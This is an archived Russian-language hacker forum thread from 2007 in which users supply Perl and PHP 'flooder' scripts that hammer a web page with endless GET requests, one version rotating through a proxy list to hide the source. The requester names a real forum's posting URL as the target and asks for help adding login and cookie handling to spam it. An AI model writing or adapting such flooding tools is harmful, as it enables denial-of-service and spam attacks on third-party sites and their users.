Просмотр полной версии : Элементарный флудер
Napalmed
08.05.2007, 02:38
Люди, нужен самый банальный и простой скрипт, который будет заданное количество раз обращаться к странице и передавать ей статичные параметры
http://domain.com/index.php?id1=xxx&id2=xxxx
Ну то есть тупо флудер. Готовые решения, найденные в сети, либо не подходят, либо лагают... :confused:
Может кто-нибудь набросать код? На чём угодно - яваскрипт, пхп, перл... Буду очень благодарен.
#!/usr/bin/perl
use IO::Socket;
for(1..2){
print &GetPage('domain.com', '/index.php?id1='.rand(99999).'&id2='.rand(999999));
}
sub GetPage {
local($serv, $page, $ret, $buf)=@_;
my $s = IO::Socket::INET->new(
PeerAddr => $serv,
PeerPort => 80,
Proto => 'tcp',
Type => SOCK_STREAM) or return 0;
print $s join("\r\n", (
"GET $page HTTP/1.1",
"Host: $serv",
'Accept: */*',
"Referer: http://$serv$page",
'User-Agent: MSIE 6.0',
'Connection: Close',
'',''));
while(read $s, $buf, 4096){ $ret.=$buf }
close $s;
return $ret;
}
Napalmed
08.05.2007, 09:39
Спасибо!
Теперь ещё хотелось бы интерпретацию на других языках... Есть тут любители? ;)
Napalmed
08.05.2007, 10:15
Вот сцуко! Не хочет работать! Залил на сервер - выдаёт 500
Проверяю на денвере - если не писать в начале print "Content-type: text/html\n\n";, то снова ошибка 500 и пишет в лог
[Tue May 08 10:08:40 2007] [error] [client 127.0.0.1] malformed header from script. Bad header=HTTP/1.1 302 Found: /home/localhost/cgi-bin/da.pl
Если Content-type писать, то скрипт выводит (дважды, конечно) все параметры: То есть кодировку, HTTP, сам запрос, и... и нечего. Эффекта никакого =( Я ещё и перл не знаю, скажите, я туплю?
2hidden
чтение ответа в данном случае только замедлит работу флудера
<?
set_time_limit(0);
$host = 'www.domain.com';
while(true) {
$path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if($fp)
// ;)
{
$headers = "GET $path HTTP/1.1\r\n";
$headers.= "Host: $host\r\n";
$headers.= "Connection: Close\r\n\r\n";
fwrite($fp, $headers);
while(!feof($fp))
{
}
}
fclose($fp);
}
?>
Так.
Или через прокси.(Больная тема).
<?
$host = "www.domain.com";
$path = '/index.php?id1='.rand(0,99999).'&id2='.rand(0,99999);
//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy = fopen('proxy.txt', r);
$proxy = fread($f_proxy, 65000);
$proxy_server = explode("\n", $proxy);
$n=count($proxy_server);
for ($i=0; $i<=count($proxy_server)-1; $i++)
{
$proxy_serv[$i] = explode(":", $proxy_server[$i]);
}
fclose($f_proxy);
for ($i=0; $i<count($proxy_serv); $i++)
{
$fp = fsockopen($proxy_serv[$i][1], $proxy_serv[$i][2], $errno, $errstr, 10);
if($fp)
// ;)
{
$headers = "GET $path HTTP/1.1\r\n";
$headers.= "Host: $host\r\n";
$headers.= "Connection: Close\r\n\r\n";
fwrite($fp, $headers);
while(!feof($fp))
{
$rez_data = fread($fp,1024);
// здесь код для обработки ответа
//А лучше действительно не //принимать ответ.
}
fclose($fp);
}
else
{
echo "$errno $errstr";
}
}
?>
Napalmed
08.05.2007, 12:33
)))
Спасибо!
На моём примере (это www.emo.nnov.ru/index.php?id=626&id2=1&posting=true&title=Титл+поста&text=текст&redirect=1 ) не работает, но это не из-за скрипта, полагаю. ХЗ... Будем искать, в чём дело.
Napalmed
08.05.2007, 12:55
ДЕЛО В АВТОРИЗАЦИИ.
Господа, я дураг, скрипт должен сначала авторизоваться на сервере и сохранить где-то печеньки... =(
BlackLogic, на тебя вся надежда! Процедура авторизации...
Developer
08.05.2007, 19:45
Дай сайт...
Developer
08.05.2007, 19:46
Вот пока есть пара свободных минут, мог бы написать :) Только я не знаю какие куки принимает/отдает сервер.
Napalmed
09.05.2007, 14:13
Оу...
www.emo.nnov.ru
что тебе нужно мне скажи нормально а то я чёта не понял о чем тут речь
Napalmed
21.05.2007, 19:23
Да не, спасибо, уже не надо. =)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot